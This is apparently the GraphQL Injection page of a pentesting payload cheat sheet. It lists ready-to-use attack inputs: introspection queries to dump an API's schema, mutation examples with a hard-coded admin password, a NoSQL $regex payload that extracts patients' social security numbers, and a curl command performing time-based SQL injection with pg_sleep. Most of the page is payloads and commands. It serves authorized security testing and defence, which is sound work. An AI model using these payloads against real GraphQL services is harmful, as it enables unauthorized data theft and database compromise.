PayloadsAllTheThings/GraphQL Injection

GraphQL injection

GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type

Summary

• Tools
• Exploit
  • Identify an injection point
  • Enumerate Database Schema via Instropection
  • Extract data
  • Enumerate the types' definition
  • Use mutations
  • NOSQL injection
  • SQL injection
• References

Tools

• GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes
• GraphQL Security Toolkit - GraphQL Security Research Material
• GraphQL IDE - An extensive IDE for exploring GraphQL API's

Exploit

Identify an injection point

Most of the time the graphql is located on the /graphql or /graphiql endpoint.

example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}

Check if errors are visible.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerate Database Schema via Introspection

URL encoded query to dump the database schema.

fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}

URL decoded query to dump the database schema.

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

query IntrospectionQuery {
  __schema {
    queryType {
      name
    }
    mutationType {
      name
    }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

Extract data

example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}

Enumerate the types' definition

Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type

{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}

Use mutations

Mutations work like function, you can use them to interact with the GraphQL.

# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}

NOSQL injection

Use $regex, $ne from inside a search parameter.

{
  doctors(
    options: "{\"limit\": 1, \"patients.ssn\" :1}", 
    search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    {
      firstName lastName id patients{ssn}
    }
}

SQL injection

Simple SQL injection inside a graphql field.

curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27

References

• Introduction to GraphQL
• GraphQL Introspection
• API Hacking GraphQL - @ghostlulz - jun 8, 2019
• GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify
• Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren
• Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber
• GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey
• SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert
• Looting GraphQL Endpoints for Fun and Profit - @theRaz0r
• How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado
• GraphQL cheatsheet - DEVHINTS.IO
• HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky